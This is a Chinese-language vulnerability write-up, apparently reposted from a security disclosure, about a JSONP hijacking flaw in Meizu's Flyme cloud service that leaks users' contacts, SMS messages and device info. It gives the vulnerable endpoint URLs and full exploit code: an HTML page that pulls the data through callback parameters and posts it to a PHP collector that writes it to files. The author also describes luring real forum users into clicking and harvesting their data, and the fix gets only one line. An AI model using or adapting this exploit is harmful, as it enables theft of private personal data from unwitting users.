好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

魅族flyme云服务漏洞可获取他人用户通讯录、短信

魅族flyme云服务功能会备份手机通讯录、短信等到服务器,并可在云端查看。

在https://flyme.meizu测试数据/页面,加载通讯录、短信、手机配置信息等都是Ajax GET获取json,加callback参数通过script引用在用户登录Flyme时就能截取用户这些信息。

 

存在问题页面:

https://flyme.meizu测试数据/service/uc_contactAct/searchSimpleContact.jsonp

相关问题链接:

https://flyme.meizu测试数据/service/uc_contactAct/searchSimpleContact.jsonp?p0=%E5%85%A8%E9%83%A8%E8%81%94%E7%B3%BB%E4%BA%BA&p1=0&_=1357611733951&callback=a%3D

https://flyme.meizu测试数据/service/fm_smsAct/getSmsGroups.jsonp?p0=phone&p1=0&p2=10&_=1358057353920&callback=b%3D

https://flyme.meizu测试数据/service/fm_settingAct/getDeviceInfo.jsonp?_=1358057422226&callback=c%3D

登陆后打开以上链接,你懂的。 

漏洞 利用演示:

1.在魅族社区bbs.meizu测试数据发贴,诱使用户点击

 

 

发了两篇帖子,两篇回复,不到1小时就被管理员删除了,不过还是有用户[侥幸]点击了,不知道是不是管理员自己呐?

2.附收到的结果截图及漏洞测试代码

 

 

 

 

 

利用代码(用了jquery.js):

meizu.html

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://HdhCmsTestw3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://HdhCmsTestw3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

</head>

<body>

<iframe style="display:none" src="https://flyme.meizu测试数据/index.jsp"></iframe>

<script>

if(! /\?a$/.test(location.href)){

setTimeout('location.href=location.href+"?a"',2000);

}

</script>

<script src="jquery.js"></script>

<script src="https://flyme.meizu测试数据/service/uc_contactAct/searchSimpleContact.jsonp?p0=%E5%85%A8%E9%83%A8%E8%81%94%E7%B3%BB%E4%BA%BA&p1=0&_=1357611733951&callback=a%3D"></script>

<script src="https://flyme.meizu测试数据/service/fm_smsAct/getSmsGroups.jsonp?p0=phone&p1=0&p2=10&_=1358057353920&callback=b%3D"></script>

<script src="https://flyme.meizu测试数据/service/fm_settingAct/getDeviceInfo.jsonp?_=1358057422226&callback=c%3D"></script>

<script>

var as=JSON.stringify(a);

var bs=JSON.stringify(b);

var cs=JSON.stringify(c);

$.post('meizu.php',{'a':as,'b':bs,'c':cs,'r':Math.random()});

</script>

</body>

</html>加载iframe并刷新页面,为了用户登陆 论坛 时也能同时登陆Flyme云服务。

meizu.php

 

<?php

$a=$_POST['a'];

$b=$_POST['b'];

$c=$_POST['c'];

 

if(!empty($a) || !empty($b) || !empty($c)){

file_put_contents('meizu_'.date('Ymd-His').'.txt',$a."\n\n".$b."\n\n".$c."\n\n");

}

?>

 

修复方案: 不使用callback 

 

查看更多关于魅族flyme云服务漏洞可获取他人用户通讯录、短信的详细内容...

  阅读:73次